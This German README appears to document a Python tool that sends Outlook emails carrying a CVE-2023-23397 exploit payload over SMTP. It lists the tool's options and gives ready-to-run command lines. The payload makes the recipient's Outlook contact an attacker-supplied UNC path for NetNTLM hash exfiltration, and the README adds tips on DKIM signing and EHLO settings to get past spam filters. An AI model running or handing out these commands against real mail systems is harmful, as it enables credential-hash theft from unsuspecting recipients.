
Python-Skript zum Senden von E-Mails mit CVE-2023-23397-Payload über SMTP
Dieses Skript ermöglicht das Erstellen von TNEF-kodierten Outlook-E-Mails mit dem Exploit-Payload für CVE-2023-23397 und deren Versand über reines SMTP – ohne die Notwendigkeit von COM-Objekten oder EWS.
Ich konnte die Nachrichtenklasse IPM.Schedule.Meeting.Request nicht richtig zum Laufen bringen (sie erzeugt sowohl eine Besprechung als auch die Erinnerung, respektiert aber aus irgendeinem Grund die Eigenschaft PidLidReminderOverride nicht), daher missbraucht das Skript stattdessen die Klasse IPM.TaskRequest. Dies führt zu einem schädlichen Popup für eine Besprechungserinnerung, genau wie im ursprünglichen Exploit, aber der Empfänger kann weder den Nachrichtentext noch die Besprechungsdetails sehen. In OWA sieht die E-Mail hingegen wie eine normale Nachricht ohne Termin aus.
Getestet auf Outlook365 16130.20218 und Outlook 2019 10395.20020. Beachte, dass TNEF-Anhänge und -Header möglicherweise nicht durch die Anti-Spam-Filter gelangen, wenn die E-Mails extern versendet werden – ich habe dies nur getestet, indem ich E-Mails direkt (oder über Postfix-Relay) von der Linux-Maschine im selben LAN an Exchange gesendet habe.
options:
-h, --help show this help message and exit
-s SERVER, --server SERVER
smtp mail relay (host[:port]), default: localhost:25
-f SENDER, --from SENDER
sender email address
-t TO, --to TO recipient email address(es), path to a file or comma-separated values
-S SUBJECT, --subject SUBJECT
message subject
-r ROOM, --room ROOM meeting location (room name), default: Meeting Room #1
-b BODY, --body BODY plaintext message body (or path to file)
--html HTML HTML message body (or path to file)
-p PATH, --path PATH remote file path for NetNTLM exfiltration, e.g \\10.10.10.10\share\1.wav
-a AUTH, --auth AUTH username:password for AUTH command if authenticated send is required
--codepage CODEPAGE windows codepage (e.g. 1252=ASCII, 65001=Unicode) to encode HTML body (if any), default: 1252
--ehlo EHLO, --helo EHLO
EHLO command argument (sender external hostname)
-l LANG, --lang LANG Content-Language header value, default: en-US
--starttls Use STARTTLS when communicating over plaintext SMTP
--max-rcpts MAX_RCPTS
Maximum number of recipients per send attempt
-v Enable debug output
DKIM message signing:
--dkim-selector DKIM_SELECTOR
DKIM selector
--dkim-key DKIM_KEY DKIM private key file path
--dkim-domain DKIM_DOMAIN
DKIM domain name, default: sender address part after @
Sende die E-Mail von [email protected] an [email protected]:
python3 cve-2023-23397.py -s localhost:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.'
Sende die E-Mail an mehrere Empfänger mit opportunistischem TLS und HTML-Text aus einer Datei:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected],[email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls
Sende die E-Mail mit DKIM-Signatur (erfordert pip install dkimpy) und benutzerdefinierter Domain im EHLO-Befehl an Empfänger aus einer Datei, drei Empfänger pro Nachricht:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t ./recipients.txt -S 'Test Meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls --max-rcpts 3 --dkim-key ./dkim.private --dkim-domain evil.com --dkim-selector default --ehlo mail.evil.com
Sende die E-Mail mit Domänenanmeldedaten:
python3 cve-2023-23397.py -s mail.example.com:587 --auth 'EXAMPLE\attacker:12345678' -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --starttls